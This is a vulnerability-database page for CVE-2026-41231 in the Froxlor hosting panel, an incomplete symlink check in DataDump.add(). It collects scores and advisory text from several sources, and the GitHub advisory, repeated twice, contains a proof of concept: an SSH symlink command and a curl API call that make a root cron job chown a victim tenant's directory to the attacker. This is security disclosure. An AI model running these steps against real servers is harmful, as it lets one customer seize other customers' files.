CVE-2026-41231
Froxlor has Incomplete Symlink Validation in DataDump.add() that Allows Arbitrary Directory Ownership Takeover via Cron
Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Froxlor has Incomplete Symlink Validation in DataDump.add() that Allows Arbitrary Directory Ownership Takeover via Cron
Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
- Record
CVE-2026-41231- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-59
- Updated
- 2026-11-02
EUVDEUVD-2026-25182
7.5
Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
- Record
EUVD-2026-25182- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-75h4-c557-j89r
7.5
Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron
Summary
DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.
Details
The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixed_homedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).
Every customer-facing API command that builds a path from user input passes this parameter:
// DirProtections.php:87
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// DirOptions.php:96
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// Ftps.php:178
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// SubDomains.php:585
return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
But DataDump.add() was missed:
// DataDump.php:88 — NO $fixed_homedir parameter
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);
The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):
Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);
When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:
FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));
The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.
The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]*$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.
PoC
Prerequisites:
system.exportenabled= 1 (admin setting)- Customer account with API key and FTP/SSH access
# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory
# (customer has FTP/SSH access to their own docroot)
ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'
# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
-H "Content-Type: application/json" \
-d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \
https://panel.example.com/api.php
# Expected response: 200 OK with task_data including destdir
# Step 3: Wait for ExportCron to run (hourly cron as root)
# The cron executes:
# mkdir -p '/var/customers/webs/attacker_customer/steal/' (follows symlink, dir exists)
# tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker's web data)
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'
# mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'
#
# The final chown resolves the symlink and recursively chowns
# /var/customers/webs/victim_customer/ to the attacker's UID/GID.
# Step 4: Attacker now owns all of victim's web files
ssh customer@server 'ls -la…
- Record
GHSA-75h4-c557-j89r- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-59
- Updated
- 2026-11-02
NVD
7.5
Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
- Record
CVE-2026-41231- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-59
- Updated
- 2026-11-02
OSV
7.5
Froxlor has Incomplete Symlink Validation in DataDump.add() that Allows Arbitrary Directory Ownership Takeover via Cron
Froxlor is open source server administration software. Prior to version 2.3.6, DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. Version 2.3.6 contains an updated fix.
- Record
CVE-2026-41231- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-59
- Updated
- 2026-11-02
OSVGHSA-75h4-c557-j89r
7.5
Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron
Summary
DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.
Details
The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixed_homedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).
Every customer-facing API command that builds a path from user input passes this parameter:
// DirProtections.php:87
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// DirOptions.php:96
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// Ftps.php:178
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// SubDomains.php:585
return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
But DataDump.add() was missed:
// DataDump.php:88 — NO $fixed_homedir parameter
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);
The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):
Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);
When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:
FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));
The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.
The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]*$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.
PoC
Prerequisites:
system.exportenabled= 1 (admin setting)- Customer account with API key and FTP/SSH access
# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory
# (customer has FTP/SSH access to their own docroot)
ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'
# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
-H "Content-Type: application/json" \
-d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \
https://panel.example.com/api.php
# Expected response: 200 OK with task_data including destdir
# Step 3: Wait for ExportCron to run (hourly cron as root)
# The cron executes:
# mkdir -p '/var/customers/webs/attacker_customer/steal/' (follows symlink, dir exists)
# tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker's web data)
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'
# mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'
#
# The final chown resolves the symlink and recursively chowns
# /var/customers/webs/victim_customer/ to the attacker's UID/GID.
# Step 4: Attacker now owns all of victim's web files
ssh customer@server 'ls -la…
- Record
GHSA-75h4-c557-j89r- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-59
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
froxlor/froxlorPackagist |
before 2.3.6 | 2.3.6 |
froxlor/froxlorPackagist |
before 2.3.6, plus listed versions 0.10.00.10.0-rc10.10.0-rc20.10.10.10.10 Show 45 moreShow less0.10.110.10.120.10.130.10.140.10.150.10.160.10.170.10.180.10.190.10.20.10.200.10.210.10.220.10.230.10.23.10.10.240.10.250.10.260.10.270.10.280.10.290.10.29.10.10.30.10.300.10.310.10.320.10.330.10.340.10.34.10.10.350.10.35.10.10.360.10.370.10.380.10.38.10.10.38.20.10.38.30.10.40.10.50.10.60.10.70.10.80.10.92.0.02.0.1 |
2.3.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41231 is a high vulnerability (CVSS 7.5) in Froxlor, published April 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in froxlor/froxlor 2.3.6.
References
github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r
github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87d
github.com/froxlor/froxlor/releases/tag/2.3.6
nvd.nist.gov/vuln/detail/CVE-2026-41231
github.com/advisories/GHSA-75h4-c557-j89r
github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41231.json
github.com/froxlor/froxlor
Left out here: 57 versions and the rest of 2 source descriptions. The JSON record has them.